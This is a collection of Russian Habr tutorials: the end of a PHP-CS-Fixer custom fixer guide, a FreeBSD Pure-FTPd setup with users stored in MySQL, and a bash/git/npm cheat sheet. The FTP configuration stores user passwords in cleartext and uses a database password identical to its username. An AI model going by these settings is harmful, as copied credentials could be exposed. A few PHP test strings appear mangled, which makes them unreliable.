У нас есть работающий фиксер. Это здорово. Осталось совсем чуть-чуть. Давайте напишем для него тест. Наш тест будет находиться в файле
`tests/Fixer/Casing/LowercaseKeywordsFixerTest.php`
Это обычный PHPUnit тест, разве что у него есть свой метод
```
doTest($expected, $input = null, \SplFileInfo $file = null)
```
который первым параметром принимает ожидаемый результат, а вторым — первоначальный код. Тестовый метод:
```
/**
* @param string $expected
* @param null|string $input
*
* @dataProvider provideExamples
*/
public function testFix($expected, $input = null)
{
$this->doTest($expected, $input);
}
```
Напишем провайдер данных:
```
public function provideExamples()
{
return array(
array('php $x = (1 and 2);', '<?php $x = (1 AND 2);'),
array('<?php foreach(array(1, 2, 3) as $val) {}', '<?php FOREACH(array(1, 2, 3) AS $val) {}'),
array('<?php echo "GOOD AS NEW";'),
array('<?php echo X::class ?', 'php echo X::ClASs ?'),
);
}
```
В итоге получаем такой [код](https://github.com/FriendsOfPHP/PHP-CS-Fixer/blob/master/tests/Fixer/Casing/LowercaseKeywordsFixerTest.php).
Тест работает, и если запустить только его, то все пройдет успешно. А вот общий тест сфейлится, т.к. данных о нашем фиксере нет в документации. Документация в php-cs-fixer авто-генерируемая, значит, достаточно запустить:
```
php php-cs-fixer readme > README.rst
```
И информация о нашем фиксере добавится в документацию.
Теперь нужно проверить оба наших файла на предмет соответствия код стайлу:
```
php ./php-cs-fixer fix
```
Ну и в конце концов запустить общий тест:
```
phpunit ./tests
```
Если все прошло успешно, то ваш собственный фиксер готов. Далее можно сделать [пулл реквест](https://github.com/FriendsOfPHP/PHP-CS-Fixer/pulls) и через какое-то время ваше творение появится в php-cs-fixer.
|
https://habr.com/ru/post/326040/
| null |
ru
| null |
# Pure-FTPD с хранением пользователей в БД MYSQL
Ранее не однократно приходилось настраивать FTP-сервер (делов то на несколько минут) и как то исторически сложилось, что безоговорочным кандидатом был [ProFtpd](http://www.proftpd.org/). Поскольку в плане безопасности у этого товарища не так давно были проблемы, решил попробовать что-то другое, и не пожалел
Мой выбор остановился на замечательном FTP-сервере [Pure-FTPd](http://www.pureftpd.org/project/pure-ftpd).
После инсталяции вы получите следующий набор функций:
* Управление скоростью Download и Upload для каждого пользователя
* Выбор UID и GUID для пользователя
* Доступность ftp для пользователя только с указанных айпи адресов
* Включение и отключение учетных записей пользователей
В качестве ОС используется [FreeBSD](http://freebsd.org). И так поехали! Предполагается, что у вас установлена и настроена СУБД MySql. Устанавливаем Pure-FTPd c портов (предварительно их обновив)
```
cd /usr/ports/ftp/pure-ftpd
make install clean
```
Я выбирал следующие опции
После инсталяции создаем конфиги из файлов по умолчанию
```
cd /usr/local/etc/
cp pureftpd-mysql.conf.sample pureftpd-mysql.conf
cp pure-ftpd.conf.sample pure-ftpd.conf
```
Редактируем главный конфигурационный файл
**pure-ftpd.conf**# Chroot`ить всех пользователей в их папках
ChrootEveryone yes
# Если в предыдущей опции было выбрано «no», то члены следующей
# группы не будут chroot`ится. Всё остальные — будут. Если Вы не хотите
# chroot`ить всех, то просто раскоментируйте ChrootEveryone и TrustedGID.
# TrustedGID 100
# Включить «фичи» совместимости, для кривых клиентов
BrokenClientsCompatibility no
# Максимальное число одновременных юзеров
MaxClientsNumber 50
# Работать в фоне (демоном)
Daemonize yes
# Максимальное число одновременных соединений с одного IP
MaxClientsPerIP 8
# Если вы хотите логировать все команды клиентов, то в этом
# пункте должно быть «yes». Если необходимо логгировать также
# ответы сервера, то просто продублируйте этот пункт.
VerboseLog no
# Показывать или нет файлы, начинающиеся с точки, даже когда клиент
# явно не говорит что это надо делать, опцией "-a".
DisplayDotFiles yes
# Не разрешать аутентифицированных юзеров — этот FTP
# только для анонимных клиентов.
AnonymousOnly no
# Запретить анонимоусов — FTP тока для регистрованных юзеров.
NoAnonymous no
# Средства syslog (auth, authpriv, daemon, ftp, security, user, local\*)
# Дефолт — «ftp». «none» — отключает логирование.
SyslogFacility ftp
# Показывать какие-то куки? (Display fortune cookies)
# FortunesFile /usr/share/fortune/zippy
# Не резольвить имена хостов в логах. Логи становятся менее информативными,
# но и ресурсов требуется меньше. «yes» — имеет смысл ставить на очень
# загруженных серверах, или при неработающем DNS.
DontResolve yes
# Максимальное время простоя (по окончании рвётся коннект), в минутах
# (default = 15 minutes)
MaxIdleTime 15
# Файл конфигурации LDAP (смотрите README.LDAP)
# LDAPConfigFile /etc/pureftpd-ldap.conf
# Файл конфигурации MySQL (смотрите README.MySQL)
MySQLConfigFile /usr/local/etc/pureftpd-mysql.conf
# Файл конфигурации Postgres (смотрите README.PGSQL)
# PGSQLConfigFile /etc/pureftpd-pgsql.conf
# база данных юзеров PureDB (смотрите README.Virtual-Users)
# PureDB /etc/pureftpd.pdb
# путь к сокету pure-authd (смотрите README.Authentication-Modules)
# ExtAuth /var/run/ftpd.sock
# Если нужно подключить PAM аутентификацию раскомментируйте
# следующую линию
# PAMAuthentication yes
# Если нужна системная, Unix аутентификация (/etc/passwd),
# раскомментируйте следующую линию
# UnixAuthentication yes
# Пожалуйста, отметтьте, что LDAPConfigFile, MySQLConfigFile,
# PAMAuthentication и UnixAuthentication могут использоваться только
# один раз, но они могут использоваться вместе. Например, если вы
# используете MySQLConfigFile, затем UnixAuthentication, то идёт запрос
# к MySQL. Если в БД такой пользователь не найден, то пробуется
# системный пользователь в /etc/passwd и /etc/shadow. Если SQL
# аутентификация неудачна по причине неправильного пароля, то происходит
# остановка дальнейшего поиска пользователя. Методы аутентификации
# будут ипользоваться в порядке в которм они заданы
# Пределы рекурсии команды 'ls'. Первй аргумент — максимально число файлов,
# которое будет показано. Второе — максимальное число подкаталогов
LimitRecursion 10000 8
# Имеют ли право анонимоусы создвать новые директории?
AnonymousCanCreateDirs no
# Если система загружена более, чем указанное тут значение, то
# анонимоусы не могут что-либо скачивать
MaxLoad 4
# Диапазон портов для пассивного соединения. Если у вас файрволл рубает
# стандартный диапазон
# PassivePortRange 30000 50000
# Принудительный IP адрес в PASV/EPSV/SPSV ответах. — для NAT.
# Символические имена хостов такде приняты для шлюзов с динамическим IP
# ForcePassiveIP 192.168.0.1
# Соотношение upload/download для анонимоусов.
# AnonymousRatio 1 10
# Соотношение upload/download для всех юзеров.
# Эта директива не перекрывает предыдущую.
# UserRatio 1 10
# Запретить скачку файлов владельцем которых является «ftp», т.е.
# файлы были загружены но не одобрены местным (локальным) админом.
AntiWarez yes
# IP адрес/порт на которых слушаем (дефолт = все IP и порт 21).
#Bind 192.168.254.254,21
# Максимальная скорость для анонимоусов в KB/s
# AnonymousBandwidth 8
# Максимальная скорость для всех юзеров (включая анонимов) в KB/s
# Используйте AnonymousBandwidth или UserBandwidth, использовать оба,
# не имеет смысла.
# UserBandwidth 8
# Маска для создаваемых файлов. :.
# 177:077 — если вы параноик :)
# umask — это такое число, при вычитании которого из максимума (777) и
# получается нужная маска. т.е. для случая ниже маски будут, соответствено:
# 644 для файлов, и 755 для директорий
Umask 133:022
# Минимальный UID с которым юзер будет пущен.
# (В родном варианте тут было 100. Я поставил тыщщу)
MinUID 1000
# Разрешить передачу FXP для авторизованных юзеров.
AllowUserFXP no
# Разрешить передачу FXP для анонимоусов и не-анонимоусов
AllowAnonymousFXP no
# Пользователи не могут удалять и изменять файлы начинающиеся на точку('.')
# даже если они их владельцы. Если TrustedGID включена, эта группа имеет
# доступ к этим файлам.
ProhibitDotFilesWrite no
# Запретить чтение файлов начинающихся с точки
ProhibitDotFilesRead no
# Никогда не перезаписывать файлы. Когда имя, для закачиваемго файла уже
# существует, он будет автоматически переименован в file.1, file.2, file.3,…
AutoRename no
# Запретить анонимным юзерам загружать новые файлы (no = аплоад разрешён)
AnonymousCantUpload no
# Только подключения к этому IP адресу могут быть не анонимными. Вы
# можете использовать эту директиву чтобы использовать несколько IP
# для анонимного FTP, и оставить приватный, зафаерволленый IP для
# удалённого администрирования. также вы можете разрешить нероутабельный
# локальный IP (типа 10.x.x.x) для аутентификации и оставить публичный
# (для анонимоусов) FTP-сервер на другом IP.
#TrustedIP 10.1.1.1
# Если вы хотите чтобы PID добавлялся в каждую линию лога,
# то раскомемнтируйте следующую линию.
#LogPID yes
# Создавать дополнительный лог-файл с логом в формате типа «apache»:
# fw.c9x.org — jedi [13/Dec/1975:19:36:39] «GET /icap.tar.bz2» 200 21808
# Этот лог-файл может быть обработан программами для
# анализа логов апача.
# AltLog clf:/var/log/pureftpd.log
# Создавать дополнительный лог-файл в формате оптимизированном для
# статистических отчётов (х.з. как это. Надо будет посмотреть)
# AltLog stats:/var/log/pureftpd.log
# Создавать ещё один лог с переданными файлами в стандарте W3C
# (совместим с многими коммерческими анализаторами)
# AltLog w3c:/var/log/pureftpd.log
# Отключить команду CHMOD. Пользователи не смогут менять разрешения
# на файлы.
#NoChmod yes
# Позволить юзерам закачивать но не удалять файлы.
#KeepAllFiles yes
# Автоматически создавать домашнюю директорию пользователя,
# если она отсутствует
#CreateHomeDir yes
# Включить виртуальную квоту. Первое число — максимальное число файлов.
# Второе число — максимальный размер, в мегабайтах.
# Так 1000:10 ограничивает каждого пользователя 1000 файлов и 10-ю мегами.
#Quota 1000:10
# Если pure-ftpd скомпилен с поддержкой standalone режима, вы можете изменить
# местоположение pid-файла. Дефолтовое положение — /var/run/pure-ftpd.pid
#PIDFile /var/run/pure-ftpd.pid
# Если pure-ftpd скомпилен с поддержкой pure-uploadscript,
# то этот пункт позволяет писать информацию о новых загруженных
# файлах в /var/run/pure-ftpd.upload.pipe так что pure-uploadscript может
# прочесть их и обработать загруженный файл.
#CallUploadScript yes
# Эта опция полезна на серверах, гда позволен аплоад анонимоусам.
# Если /var/ftp находится в отдельном разделе /var, это позволяет
# сохранить свободное место и защитить файлы логов. Когда процент
# заполнения больше чем указанный тут, аплоад автоматом запрещается.
MaxDiskUsage 99
# Установите 'yes' в этой опции если хотите разрешить юзерам
# переименовывать файлы.
#NoRename yes
# Включить 'customer proof': какая-то ошибка, типа 'chmod 0 public\_html',
# при совместной работе, чтоль… Короче это не баг а фича… :) И чтобы
# тупые клиенты не напрягали ваш саппорт надо поставить 'yes' в этом
# пункте. Если клиенты имеют немного знаний по Unix то эта фича
# бесполезна. Если у Вас хостинг — включите её.
# (перевод почти дословный — но про что речь я так и не понял...)
CustomerProof yes
# Число параллельных процессов. Работает тока если сервер был
# скомпилен с опцией '--with-peruserlimits' (тут чё-то про то, что
# в большинстве бинарных дистрибов так оно и есть).
# Формат:<максимум сессий на юзера>:<максимум сеансов анонимоусов>
# Например, 3:20 значит что аутентифичированный юзер может иметь три
# активных сеанса. А на всех анонимов — максимум 20 сеансов.
#PerUserLimits 3:20
# Когда загружен файл на сервер, и есть предыдущая версия (с тем же именем),
# то старый файл не будет ни удалён ни усечён. Загрузка будет произведена
# во временный файл и по окончании загрузки будет произведено атомарное
# переключение к новой версии файла. Например, при загрузке большого PHP
# сценария, апач будет работать со старой версией до полной загрузки
# и немедленно переключится на новый как тока он будет полностью передан
# Эта опция несовместима с виртуальными квотами.
#NoTruncate yes
# Эта опция может принимать три значения:
# 0 — отключить SSL/TLS шифрование (по-умолчанию).
# 1 — принимать и шифрованные и обычные подключения.
# 2 — отклонять подключения которые не используют SSL/TLS,
# включая анонимные соединения.
# Не раскомментируйте это вслепую. Проверьте, что:
# 1) Сервер скомпилен с поддержкой SSL/TLS (--with-tls),
# 2) Положен валидный сертификат,
# 3) Только совместимые клиенты залогинятся.
# TLS 1
# Список шифров, которые будут приняты для SSL / TLS соединений
# Префикс -S: чтобы полностью отключить SSL, но не TLS.
# TLSCipherSuite HIGH:MEDIUM:+TLSv1:!SSLv2:+SSLv3
# Слушается тока IPv4 адрес в режиме standalone (т.е. IPv6 отключен)
# По дефолту, IPv4 и IPv6 включены.
IPV4Only yes
# Слушается тока IPv6 адрес в режиме standalone (т.е. IPv4 отключен)
# По дефолту, IPv4 и IPv6 включены.
# IPV6Only yes
# Поддержка UTF-8 для имён файлов (RFC 2640)
# Определите кодировку для файловой системы сервера и, опционально,
# дефолтовую кодировку для клиентов, которые не юзают UTF-8.
# Работает тока если pure-ftpd скомпилен с '--with-rfc2640'
FileSystemCharset utf-8
ClientCharset cp1251
а так же конфиг для работы Pure-FTPd с БД MySql
**pure-ftpd.conf**# Конфиг MySQL для pureftpd
# Опционально: Имя или IP MySQL-сервера. Не задавать этот
# пункт, если используется локальный unix сокет.
#MYSQLServer 127.0.0.1
# Опционально: Порт на котором висит MySQL. Не задавать этот
# пункт, если используется локальный unix сокет.
#MYSQLPort 3306
# Опционально: Задаётся имя сокета mysql.sock если MySQL на этом же хосте.
MYSQLSocket /tmp/mysql.sock
# Обязательно: юзер, которым лезем в БД.
MYSQLUser pure-ftpd
# Обязательно: пароль пользователя, от которого лезем в MySQL.
MYSQLPassword pure-ftpd
# Обязательно: БД с которой работаем.
MYSQLDatabase pureftpd
# Обязательно: как сохранён пароль в БД
# Возможные значения: «cleartext», «crypt», «md5» и «password»
# («password» = MySQL password() функции)
# Можно использовать «any» чтобы попробовать «crypt», «md5» и «password»
MYSQLCrypt cleartext
# В последующих директивах части строк заменены, до
# выполнения запроса:
#
# \L заменяется именем пользователя, что логинится.
# \I заменяется IP адресом сервера, на который лезет юзер
# \P заменяется номером порта с которым соединился юзер.
# \R заменяется IP адресом юзера.
# \D заменяется IP адресом юзера, в виде long decimal number
# (например, 192.168.254.1 == 3232300545).
#
# Можно настругать относительно сложные квери к БД, используя
# этот набор переменных. Если используется одна БД на несколько серверов,
# то "\I" позволяет определить, на тот ли сервер ломится юзер.
# Кверя на получение пароля из БД:
MYSQLGetPW SELECT `password` FROM `users` WHERE `user`="\L" AND `active`='1'
# Кверя на получение системного имени пользователя, или UID
MYSQLGetUID SELECT `uid` FROM `users` WHERE `user`="\L"
# Опционально: default UID — вместо квери на его извлечение MYSQLGetUID
#MYSQLDefaultUID 1000
# Запрос к БД на получение имени группы или gid
MYSQLGetGID SELECT `gid` FROM `users` WHERE `user`="\L"
# Опционально: default GID — вместо запроса MYSQLGetGID
#MYSQLDefaultGID 1000
# Запрос на получения хомяка
MYSQLGetDir SELECT `home` FROM `users` WHERE `user`="\L"
# Опционально: Запрос на максимальное число файлов у юзера
# (интересно — какой в этом глубокий смысл? Чтобы inode на
# сервере не первели чтоль? :))
#Должен быть скомпилен с `virtual quotas support`.
MySQLGetQTAFS SELECT `QuotaFiles` FROM `users` WHERE `user`="\L"
# Опционально: запрос на квоту (использование диска)
# Число, в мегабайтах.
# Pure-FTPd должен быть скомпилен с `virtual quotas support`.
MySQLGetQTASZ SELECT `QuotaSize` FROM `users` WHERE `user`="\L"
# Опционально: Отношения. Запросы на соотношение download/upload.
# Дол; ен быть скомпилен с этой функцией.
MySQLGetRatioUL SELECT `ULRatio` FROM `users` WHERE `user`="\L"
MySQLGetRatioDL SELECT `DLRatio` FROM `users` WHERE `user`="\L"
# Опционально: Ширина канала для юзера. Сервер должен быть
# скомпилен с такой опцией. Значение в KB/s.
MySQLGetBandwidthUL SELECT `ULBandwidth` FROM `users` WHERE `user`="\L"
MySQLGetBandwidthDL SELECT `DLBandwidth` FROM users WHERE `user`="\L"
# Выпускать юзера из хомяка (~). Никогда не делайте этого, если:
# 1) Вы точно знаете что делаете.
# 2) Совпадают реальные и виртуальные юзеры.
#MySQLForceTildeExpansion 1
# Если Вы обновили таблицы до транзакционных (Gemini,
# BerkeleyDB, Innobase...), можно включить транзакции SQL
# Оставьте закомменченым, если используются MyISAM базы данных,
# или старая версия MySQL (< 3.23.x).
#MySQLTransactions On
Далее создаем саму БД (*pureftpd*) и таблицу с пользователями (*users*)
```
CREATE TABLE `users` (
`User` varchar(50) NOT NULL DEFAULT '',
`Password` varchar(250) DEFAULT '',
`Uid` int(11) DEFAULT '10000',
`Gid` int(11) DEFAULT '10000',
`Dir` varchar(250) DEFAULT '',
`QuotaFiles` int(11) DEFAULT NULL,
`QuotaSize` int(11) DEFAULT '0',
`ULRatio` int(11) DEFAULT '0',
`DLRation` int(11) DEFAULT NULL,
`ULBandwidth` int(11) DEFAULT '0',
`DLBandwidth` int(11) DEFAULT '0',
`Comment` tinytext,
`active` int(11) DEFAULT '0',
PRIMARY KEY (`User`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
```
Добавляем в */etc/rc.conf*
```
pureftpd_enable="YES"
```
и запускаем наш FTP-сервер
```
/usr/local/etc/rc.d/pure-ftpd start
Starting pureftpd.
Running: /usr/local/sbin/pure-ftpd -g/var/run/pure-ftpd.pid -A -c50 -B -C10 -D -fftp -I15 -lmysql:/usr/local/etc/pureftpd-mysql.conf -L10000:8 -m4 -s -U133:022 -u80 -k99 -Z -8utf-8 -9cp1251
```
На этом казалось бы все. Осталось завести пользователя в таблицу *users* (указать логин, пароль, домашнюю директорию) и пробовать подключаться. Но мне не давал покоя вопрос ограничения доступа пользователю по его IP адресу. В классическом случае добавляется поле ip в таблицу пользователей, и sql-запрос для MYSQLGetPW в pureftpd-mysql.conf принимает следующий вид
```
SELECT Password FROM users WHERE User='\L' AND ip='\R'
```
Но мне он не подходит. Во первых для каждого пользователя нужно задать IP-адрес, с которого он будут подключатся, во вторых можно задать только один единственный IP. В реальной жизни, нужно выполнить привязку к IP'шнику только определенным пользователям, и возможность задать n-ое число IP-адресов для одного пользователя.
Синтаксис MySql'я включает в себя функции потока управления программой, среди которых нам нужна функция [IF](http://www.mysql.ru/docs/man/Control_flow_functions.html)
Создаем таблицу IP
```
CREATE TABLE `ip` (
`user` varchar(200) DEFAULT NULL,
`ip` varchar(16) DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
```
Приводим sql-запрос для MYSQLGetPW к следующему виду:
```
SELECT IF((SELECT COUNT(`user`) FROM ip WHERE user='\L')=0,
(SELECT Password FROM users WHERE User='\L'),
(SELECT users.Password FROM users,ip WHERE users.User='\L' AND ip.ip='\R' AND ip.user='\L'))
```
В конечном результате, все пользователи, для которых не заданы записи в таблице IP будут проходить авторизацию без проверки на IP-адрес, а для тех юзеров, которые прописаны в таблице IP будет выполнятся проверка с какого IP-адреса они пробуют подключиться, причем можно задать неограниченное число IP-адресов для одного логина
|
https://habr.com/ru/post/183170/
| null |
ru
| null |
# Основные команды bash, git, npm и yarn, а также немного о package.json и semver
Доброго времени суток, друзья!
Предлагаю вашему вниманию небольшую шпаргалку по основным командам bash, git, npm, yarn, package.json и semver.
Условные обозначения: [dir-name] — означает название директории, | — означает «или».
Рекомендую вводить каждую команду в терминале и внимательно изучать вывод, так вы быстро их запомните и определите, какие команды вам нужны, а какие нет.
Приношу извинения за возможные ошибки и опечатки. Буду рад любым замечаниям и предложениям.
Без дальнейших предисловий.
Оглавление:
* [bash](#bash)
* [git](#git)
* [npm](#npm)
* [yarn](#yarn)
* [package.json](#package)
* [semver](#semver)
### bash
bash представляет собой инструмент командной строки, позволяющий выполнять некоторые распространенные действия.
Установка: в моем случае bash был установлен вместе с git.
Справка:
```
help
```
История команд:
```
history
```
Очистка терминала:
```
clear
```
Выход из терминала:
```
exit
```
Создание директории:
```
// make directory
mkdir [dir-name]
// пример
mkdir my-app
// несколько диреторий
mkdir -p {dir1,dir2}
// несколько вложенных директорий
mkdir -p my-app/{css,js}
```
Смена директории:
```
// change directory
cd [dir-name]
// пример
cd my-app
// сразу после создания
cd !$
// родительская директория
cd ..
// на два уровня выше
cd ../..
// предыдущая директория
cd -
// домашняя директория
cd ~
```
Путь к текущей директории:
```
// print work directory
pwd
```
Список файлов:
```
// list
ls
// включая скрытые файлы
ls -a | -f
// больше информации
// например, права доступа
ls -l
```
Создание файла:
```
touch [file-name]
// пример
touch index.html
// несколько файлов
touch my-app/{index.html,css/style.css,js/script.js}
```
Содержимое файла:
```
cat [file-name]
// пример
cat index.html
// сортировка и выборка уникальных значений
cat [file-name] | sort | uniq
// меньше контента
less [file-name] // q - exit
// n строк с начала файла
head -50 [file-name]
// n строк с конца файла
tail -50 [file-name]
// поиск слова
grep [string] [file-name]
// распаковка и просмотр содержимого архива
unzip [achive-name]
// тип файла
file [file-name]
```
Копирование, перемещение и удаление файла:
```
// copy
cp [file1] [file2]
// move
mv [file1] [file2]
// пример
// перемещение всех файлов из одной директории в другую
mv [dir1]/*.* [dir2]
// remove
rm [file-name]
// удаление пустой директории
rmdir [dir-name]
// удаление непустой директории
rm -r [dir-name]
// или
rm -rf [dir-name]
```
Вывод в терминал строки:
```
echo [string]
// пример
echo hello
// создание или перезапись файла
echo hello > greet.txt
// добавление строки в файл
echo hello >> greet.txt
```
Загрузка файла:
```
wget [url]
```
Коннекторы:
```
true && echo hello
false || echo hello
echo hello ; ls
```
Конвейер:
```
// количество переносов строки - \n
cat [file] | wc -l
```
### git
git представляет собой распределенную систему контроля версий, позволяющую контролировать процесс внесения изменений в проект.
[Книга Pro Git](https://git-scm.com/book/ru/v2).
[Скринкаст Ильи Кантора](https://learn.javascript.ru/screencast/git#branches-intro).
Быстрый старт: [Git How To](https://githowto.com/ru).
Установка: [git-scm.com](https://git-scm.com/downloads).
Проверка установки:
```
git --version
```
Справка:
```
git help
git help [command-name]
git [command-name] --help | -h
```
Минимальные настройки:
```
// --local - настройки для текущего репо
// --global - настройки для текущего пользователя
// --system - настройки для всей системы, т.е. для всех пользователей
git config --global user.name "My Name"
git config --global user.email "[email protected]"
```
Дополнительные настройки:
```
// список глобальных настроек
git config --list | -l --global
// редактирование глобальных настроек
git config --global --edit | -e
```
Создание репозитория:
```
git init
```
Очистка репозитория:
```
// -d - включая директории, -x - включая игнорируемые файлы, -f - принудительная
git clean | -dxf
```
Удаление файлов и директорий:
```
// remove
git rm [file-name]
git rm -r [dir-name]
git rm --force | -f
```
Перемещение файлов:
```
// git add + git remove
// move
git mv [old-file] [new-file]
```
Просмотр состояния репозитория:
```
git status
```
Добавление изменений:
```
git add [file-name]
git add --force | -f
// все файлы
git add . | --all | -A
// для добавления пустой директории можно создать в ней пустой файл .gitkeep
```
Добавление сообщения (коммита):
```
// редактирование коммита
git commit
// коммит для одного изменения, если не выполнялось git add . | -A
// если выполнялось, сообщение будет добавлено для всех изменений
git commit --message | -m "My Message"
// для всех изменений, если git add [file-name] выполнялось несколько раз
git commit --all | -a -m | -am "My Message"
// исправление коммита
git commit --amend "My Message" | --no-edit
```
Просмотр коммита:
```
// последний коммит
git show
// другой коммит
git show [hash] // минимум первые 4 символа
// поиск изменений по сообщению или части сообщения
git show :/[string]
// поиск коммита по тегу
git show [tag-name]
```
Просмотр разницы между коммитами:
```
git diff HEAD | @ // HEAD - как правило, текущая ветка; @ - алиас для HEAD
// staged
git diff --staged | --cached
git diff [hash1] [hash2]
// разница между ветками
git diff [branch1]...[branch2]
// просмотр разницы между коммитами при редактировании сообщения
git commit --verbose | -v
// кастомизация выводимого сообщения
git diff --word-diff | --color-words
```
Просмотр истории изменений:
```
git log
// n - количество изменений
git log -n
// --since, --after - после
// --until, --before - до
// разница
git log -p
// быстрое форматирование
git log --graph --oneline --stat
// кастомное форматирование
git log --pretty=format
// пример
git log --pretty=format:'%C(red)%h %C(green)%cd %C(reset)| %C(blue)%s%d %C(yellow)[%an]' --date=short | format-local:'%F %R'
// поиск изменений по слову, файлу, ветке; i - без учета регистра
git log --grep | -G [string] | [file] | [branch] & -i
// поиск по нескольким строкам
git log --grep [string1] --grep [string2] --all-match
// поиск в определенном блоке файла
git log -L '//','/<\/head>/':index.html
// поиск по автору
git log --author=[name]
```
Отмена изменений:
```
git reset
// --hard - включая рабочую директорию и индекс
// --soft - без рабочей директории и индекса
// --mixed - по умолчанию: без рабочей директории, но с индексом
git reset --hard [hash] | @~ // @~ - последний коммит в HEAD
// аналогично
git reset --hard ORIG_HEAD
// не путать с переключением ветки
git checkout
git restore
```
Работа с ветками:
```
// список веток
git branch
// создание ветки
git branch [branch-name]
// переключение на ветку
git checkout [branch-name]
// branch + checkout
git checkout -b [branch-name]
// переименование
git branch -m [old-branch] [new-branch]
// удаление ветки
git branch -d [branch-name]
// слияние веток
git merge [branch-name]
```
Разрешение конфликтов при слиянии:
```
// обычно, при возникновении конфликта, открывается редактор
// принять изменения из сливаемой ветки
git checkout --ours
// принять изменения из текущей ветки
git checkout --theirs
// отмена слияния
git reset --merge
git merge --abort
// получение дополнительной информации
git checkout --conflict=diff3 --merge [file-name]
// продолжить слияние
git merge --continue
```
Удаленный репозиторий:
```
// клонирование
git clone [url] & [dir]
// просмотр
git remote
git remote show
git remote add [shortname] [url]
git remote rename [old-name] [new-name]
// получение изменений
// git fetch + git merge
git pull
// отправка изменений
git push
```
Теги:
```
// просмотр
git tag
// легковесная метка
git tag [tag-name]
//пример
git tag v1-beta
// аннотированная метка
git tag -a v1 -m "My Version 1"
// удаление
git tag -d [tag-name]
```
Отладка
```
git bisect
git blame
git grep
```
Сохранение незакоммиченных изменений:
```
// сохранение
git stash
// извлечение
git stash pop
```
Копирование коммита:
```
git cherry-pick | -x [hash]
// если возник конфликт
// отмена
git cherry-pick --abort
// продолжить
git cherry-pick --continue
git cherry-pick --no-commit | -n
// --cherry = --cherry-mark --left-right --no-merges
git log --oneline --cherry [branch1] [branch2]
```
Перебазирование:
```
git rebase [branch]
// при возникновении конфликта
// отмена
git rebase --abort
// пропустить
git rebase --skip
// продолжить
git rebase --continue
// предпочтение коммитов слияния
git rebase --preserve-merges | -p
// интерактивное перебазирование
git rebase -i [branch]
```
Автозавершение повторных конфликтов:
```
// rerere - reuse recorder resolution
// rerere.enabled true | false
// rerere.autoUpdate true | false
// rerere-train.sh - скрипт для обучения rerere
git rerere forget [file-name]
```
Обратные коммиты:
```
git revert @ | [hash]
// отмена слияния
// git reset --hard @~ не сработает
git revert [hash] -m 1
// git merge [branch] не сработает
// отмена отмены
git revert [hash]
// повторное слияние с rebase
git rebase [branch1] [branch2] | --onto [branch1] [hash] [branch2]
git merge [branch]
git rebase [hash] --no-ff
```
Пример алиасов (сокращений) для .gitconfig:
```
[alias]
aa = add -A
co = checkout
ci = commit -m
st = status
br = branch
```
**Пример .gitconfig:**
```
[user]
name = [My Name]
email = [[email protected]]
username = [myusername]
[core]
editor = [myeditor]
whitespace = fix,-indent-with-non-tab,trailing-space,cr-at-eol
pager = delta
[web]
browser = google-chrome
[instaweb]
httpd = apache2 -f
[rerere]
enabled = 1
autoupdate = 1
[push]
default = matching
[color]
ui = auto
[color "branch"]
current = yellow bold
local = green bold
remote = cyan bold
[color "diff"]
meta = yellow bold
frag = magenta bold
old = red bold
new = green bold
whitespace = red reverse
[color "status"]
added = green bold
changed = yellow bold
untracked = red bold
[difftool]
prompt = false
[delta]
features = line-numbers decorations
line-numbers = true
[delta "decorations"]
minus-style = red bold normal
plus-style = green bold normal
minus-emph-style = white bold red
minus-non-emph-style = red bold normal
plus-emph-style = white bold green
plus-non-emph-style = green bold normal
file-style = yellow bold none
file-decoration-style = yellow box
hunk-header-style = magenta bold
hunk-header-decoration-style = magenta box
minus-empty-line-marker-style = normal normal
plus-empty-line-marker-style = normal normal
line-numbers-right-format = "{np:^4}│ "
[github]
user = [username]
token = token
[gitflow "prefix"]
versiontag = v
[sequence]
editor = interactive-rebase-tool
[alias]
a = add --all
ai = add -i
###
ap = apply
as = apply --stat
ac = apply --check
###
ama = am --abort
amr = am --resolved
ams = am --skip
###
b = branch
ba = branch -a
bd = branch -d
bdd = branch -D
br = branch -r
bc = rev-parse --abbrev-ref HEAD
bu = !git rev-parse --abbrev-ref --symbolic-full-name "@{u}"
bs = !git-branch-status
###
c = commit
ca = commit -a
cm = commit -m
cam = commit -am
cem = commit --allow-empty -m
cd = commit --amend
cad = commit -a --amend
ced = commit --allow-empty --amend
###
cl = clone
cld = clone --depth 1
clg = !sh -c 'git clone git://github.com/$1 $(basename $1)' -
clgp = !sh -c 'git clone [email protected]:$1 $(basename $1)' -
clgu = !sh -c 'git clone [email protected]:$(git config --get user.username)/$1 $1' -
###
cp = cherry-pick
cpa = cherry-pick --abort
cpc = cherry-pick --continue
###
d = diff
dp = diff --patience
dc = diff --cached
dk = diff --check
dck = diff --cached --check
dt = difftool
dct = difftool --cached
###
f = fetch
fo = fetch origin
fu = fetch upstream
###
fp = format-patch
###
fk = fsck
###
g = grep -p
###
l = log --oneline
lg = log --oneline --graph --decorate
###
ls = ls-files
lsf = !git ls-files | grep -i
###
m = merge
ma = merge --abort
mc = merge --continue
ms = merge --skip
###
o = checkout
om = checkout master
ob = checkout -b
opr = !sh -c 'git fo pull/$1/head:pr-$1 && git o pr-$1'
###
pr = prune -v
###
ps = push
psf = push -f
psu = push -u
pst = push --tags
###
pso = push origin
psao = push --all origin
psfo = push -f origin
psuo = push -u origin
###
psom = push origin master
psaom = push --all origin master
psfom = push -f origin master
psuom = push -u origin master
psoc = !git push origin $(git bc)
psaoc = !git push --all origin $(git bc)
psfoc = !git push -f origin $(git bc)
psuoc = !git push -u origin $(git bc)
psdc = !git push origin :$(git bc)
###
pl = pull
pb = pull --rebase
###
plo = pull origin
pbo = pull --rebase origin
plom = pull origin master
ploc = !git pull origin $(git bc)
pbom = pull --rebase origin master
pboc = !git pull --rebase origin $(git bc)
###
plu = pull upstream
plum = pull upstream master
pluc = !git pull upstream $(git bc)
pbum = pull --rebase upstream master
pbuc = !git pull --rebase upstream $(git bc)
###
rb = rebase
rba = rebase --abort
rbc = rebase --continue
rbi = rebase --interactive
rbs = rebase --skip
###
re = reset
rh = reset HEAD
reh = reset --hard
rem = reset --mixed
res = reset --soft
rehh = reset --hard HEAD
remh = reset --mixed HEAD
resh = reset --soft HEAD
rehom = reset --hard origin/master
###
r = remote
ra = remote add
rr = remote rm
rv = remote -v
rn = remote rename
rp = remote prune
rs = remote show
rao = remote add origin
rau = remote add upstream
rro = remote remove origin
rru = remote remove upstream
rso = remote show origin
rsu = remote show upstream
rpo = remote prune origin
rpu = remote prune upstream
###
rmf = rm -f
